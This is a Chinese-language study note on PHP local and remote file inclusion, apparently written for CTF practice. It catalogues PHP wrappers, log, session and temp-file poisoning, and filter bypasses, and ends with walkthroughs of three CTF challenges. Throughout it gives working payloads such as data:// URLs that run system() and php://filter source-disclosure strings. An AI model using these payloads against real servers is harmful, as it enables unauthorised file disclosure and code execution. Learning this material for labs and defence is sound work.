文件包含

简介

文件包含漏洞是指客户端(一般为浏览器)用户通过输入控制动态包含在服务器的文件,从而导致恶意代码的执行及敏感信息的泄露,主要包括本地文件包含LFI远程文件包含RFI两种形式

基础

常见的文件包含漏洞的形式

<?php
$a = @$_GET['file'];
include $a;
?>

目录

  • PHP伪协议利用
  • 日志文件包含
  • 包含临时文件
  • 远程文件包含

漏洞危害

  1. 读取敏感文件
  2. 获取webshell
  3. 任意命令执行
  4. 在某些情况下,根据LFI漏洞的性质,可以运行系统可执行文件

存在漏洞的函数

  • include() 只有代码执行到此函数时才将文件包含进来,发生错误时只警告并继续执行。
  • require() 只要程序执行,立即调用此函数包含文件,发生错误时,会输出错误信息并立即终止程序。
  • include_once() 功能include()一样,区别在于当重复调用同一文件时,程序只调用一次。
  • require_once() 功能require()一样,区别在于当重复调用同一文件时,程序只调用一次。

文件包含功能要实现,需要在PHP的配置文件php.ini中开启allow_url_include;如果是远程文件包含,则除此之外还需要开启allow_url_fopen。

考虑常见的几种包含方式

  • 同目录包含 file=.htaccess
  • 目录遍历 ?file=../../../../../../../../../var/lib/locate.db
  • 日志注入 ?file=../../../../../../../../../var/log/apache/error.log
  • 利用 /proc/self/environ

本地文件包含

简介:

文件包含漏洞的产生原因是 PHP 语言在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者校验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。

当被包含的文件在服务器本地时,就形成的本地文件包含漏洞

目录遍历

简介:

目录穿越(也被称为目录遍历/directory traversal/path traversal)是通过使用 ../ 等目录控制序列或者文件的绝对路径来访问存储在文件系统上的任意文件和目录,特别是应用程序源代码、配置文件、重要的系统文件等

PHP封装协议(伪协议)

File://  访问本地文件系统
http:// 访问HTTPs网址
ftp:// 访问ftp URL
Php:// 访问输入输出流
Zlib:// 压缩流
Data:// 数据
Ssh2:// security shell2
Expect:// 处理交互式的流
Glob:// 查找匹配的文件路径

php.ini配置文件:

allow_url_fopen=off 即不可以包含远程文件。php4存在远程包含&本地包含,php5仅存在本地包含

测试版本>=5.2

file://

作用:

用于访问本地文件系统,在CTF中通常用来读取本地文件,且不受allow_url_fopen与allow_url_include的影响。

include()/require()/include_once()/require_once()参数可控的情况下

如导入为非.php文件,则仍按照php语法进行解析,这是include()函数所决定的

示例:

#1. file://[文件的绝对路径和文件名]
http://127.0.0.1/include.php?file=file://C:\phpStudy\PHPTutorial\WWW\phpinfo.txt

#2. file://[文件的相对路径和文件名]
http://127.0.0.1/include.php?file=./phpinfo.txt

#3. file://[网络路径和文件名]
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

**php://**filter

利用php://filter查看源代码:

php://filter`是一种元封装器,设计用于数据流打开时的筛选过滤应用;在文件包含中用于读取文件内容,读取后输出`base64编码`后的内容,要获取真实内容的话,`需要进行base64解码

代码实例:

?file=php://filter/read=convert.base64-encode/resource=index.php
?file=php://filter/convert.base64-encode/resource=../sss.php

php://input

利用php伪协议:php://input

利用条件:

  1. PHP.ini 中 allow_url_include= On php <5.0 ,allow_url_include=Off 也可以

php://input是个可以访问请求的原始数据的只读流。使用时,将要输入的数据以post方式提交

data伪协议

利用php伪协议:data

利用条件:

php > 5.2
allow_url_fopen=On && allow_url_include=On

利用代码:

?file=data:text/plain,<?php phpinfo();?>
?file=data:text/plain,<?php system('whoami');?>
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

phar://

phar:// 数据流包装器自PHP 5.3.0起开始。这个参数是就是php解压缩包的一个函数,不管目标文件后缀是什么,都将其当做压缩包来解压

利用条件:

PHP>= 5.3.0

用法格式:

?file=phar://压缩包/内部文件

注意:绝对路径或相对路径均可;压缩包只能使用zip协议压缩

zip://

zip伪协议和phar协议类似,但是用法不一样。

利用条件:

5.2.17 =<php <= 7.0.12

语法:

?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]zip://xxx.png#shell.php或zip://xxx.zip#shell.php

session文件包含

利用条件:

  1. session的存储位置可以获取 session中的内容可以被控制,传入恶意代码

利用思路:

  1. 通过参数name写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell
  2. 通过phpinfo的信息可以获取到session的存储位置

此时我们利用这个页面,将用户的get数据存储到session中

<?php
session_start();
$$name=$$_GET['name'];
$$_SESSION["name"]=$$name;
?>

可见此时已经将 phpinfo 写入到 session文件中,此时我们利用文件包含漏洞去包含这个文件

?file=../../../../var/lib/php/sessions/sess_sdmofnu8knlh9jlqe89l8smduu

日志包含

常见的日志文件存储路径

apache+Linux`日志默认路径:`/etc/httpd/logs/access.log`、`/var/log/httpd/access.log`、`var/log/apache2/access.log`、`var/log/apache2/error.log
apache+win2003`日志默认路径:`D:\xampp\apache\logs\access.log`、`D:\xampp\apache\logs\error.log
IIS6.0+win2003`默认日志文件:`C:\WINDOWS\system32\Logfiles` `IIS7.0+win2003` 默认日志文件:`%SystemDrive%\inetpub\logs\LogFiles

nginx 日志文件:日志文件在用户安装目录logs目录下,假设安装路径为/usr/local/nginx或者var/log/nginx/,那日志目录就是在/usr/local/nginx/logs或者var/log/nginx/access.log下面

apache+linux` 默认配置文件:`/etc/httpd/conf/httpd.conf`或`/etc/init.d/httpd` `IIS6.0+win2003`` `配置文件:`C:/Windows/system32/inetsrv/metabase.xml
IIS7.0+WIN `配置文件:`C:\Windows\System32\inetsrv\config\applicationHost.config

apache/nginx 报错日志

访问日志

可利用条件:

需要知道服务器日志的存储路径,且日志文件可读

利用原理

web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log

利用文件包含漏洞去包含log文件

img

SSH 登录日志

利用条件:

需要知道ssh-log的位置,且可读

ssh日志默认路径:

/var/log/auth.log(默认情况下,所有用户都可读)
/var/log/secure

使用ssh客户端:

ssh '<?php phpinfo();?>'@IP

img

临时文件包含

php 中上传文件,会创建临时文件。在 linux 下使用 /tmp 目录,而在 windows 下使用 c:\winsdows\temp 目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

漏洞原理

在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符]),文件名可以在$_FILES变量中找到。这个临时文件,在请求结束后就会被删除。
同时,因为phpinfo页面会将当前请求上下文中所有变量都打印出来,所以我们如果向phpinfo页面发送包含文件区块的数据包,则即可在返回包里找到$_FILES变量的内容,自然也包含临时文件名。

利用原理

文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell,这里需要利用到条件竞争

远程文件包含

在PHP 5.2后,php.ini默认配置下:

allow_url_fopen=on
allow_url_include=off

此时除非网站管理员开启配置 否则无法远程文件包含。在某些CTF题中可能遇到。只做了解即可

远程文件绕过技巧

  1. 问号绕过

包含目标PHP页面

?file=http://192.168.91.139/phpinfo.php?
  1. #号绕过:
?file=http://192.168.91.139/phpinfo.php#

其他绕过方式

url编码绕过

如果WAF中是字符串匹配,可以使用url多次编码的方式可以绕过

特殊字符绕过

  • 某些情况下,读文件支持使用Shell通配符,如 ? *
  • url中 使用 ? # 可能会影响include包含的结果
  • 某些情况下,unicode编码不同但是字形相近的字符有同一个效果

这里也就是指的是上述的远程文件绕过技巧

%00截断

几乎是最常用的方法,条件是 magic_quotes_gpc 关闭,而且php版本小于5.3.4。

这里先了解一下,后面在出相关讲解和例题分析

以下例题只涉及上述部分知识,等以后做到相关其他知识的题在补充进来

例题

Web_php_include

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>

strstr():

搜索字符串在另一个字符串中是否存在,如果是,返回字符串及剩余部分,否则返回false。

分析代码可知程序过滤掉了page=php://

可以使用data伪协议

?page=data://text/plain,<?php system("ls")?>

img

?page=data://text/plain,<?php system("cat fl4gisisish3r3.php")?>

img

img

[极客大挑战 2019]Secret File

考察知识点:bp抓包,文件包含-伪协议

查看页面源代码,发现

img

进去看看

img

仍然没啥用,再次查看源代码,发现action.php,进去看看直接到了end页面,猜测反应太快,试试抓包

发现secr3t.php

img

之后为

<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>

代码解析

如果$file包含”../“、”tp”、”input”或”data”(不区分大小写),则脚本会输出”Oh no!”并终止执行。

禁用了一部分伪协议的关键词,那么就用php://filter伪协议

?file=php://filter/read=convert.base64-encode/resource=flag.php

img

base解密

flag{3dbc981c-5d2a-4f52-895b-86ae37448724}

[GDOUCTF 2023]泄露的伪装

考点:目录扫描,data伪协议使用

img

你看不见我但是你又能看见我,应该是被隐藏了,用dir扫一下目录

img

发现/test.txt和/www.rar

先进入/test.txt

<?php
error_reporting(0);
if(isset($_GET['cxk'])){
$cxk=$_GET['cxk'];
if(file_get_contents($cxk)=="ctrl"){
echo $flag;
}else{
echo "娲楁礂鐫″惂";
}
}else{
echo "nononoononoonono";
}
?>

下载rar发现

img

进入/orzorz.php

<?php 
error_reporting(0);
if(isset($_GET['cxk'])){
$cxk=$_GET['cxk'];
if(file_get_contents($cxk)=="ctrl"){
echo $flag;
}else{
echo "洗洗睡吧";
}
}else{
echo "nononoononoonono";
}
?>nononoononoonono

和test.txt相似

代码分析:检查是否存在名为 ‘cxk’ 的 GET 参数,赋值给$cxk

使用 file_get_contents($cxk) 函数读取 $cxk 变量中指定的 URL 或文件的内容

如果读取的内容等于字符串 “ctrl”,则输出变量 $flag 的值

file_get_content()函数配合php伪协议来获取flag

这里采用data协议,构造payload为

?cxk=data://text/plain,ctrl

?cxk=data://text/plain;base64,Y3RybA==

img

NSSCTF{a1475d2b-f68b-4eb0-aa97-3d998ac90e1a}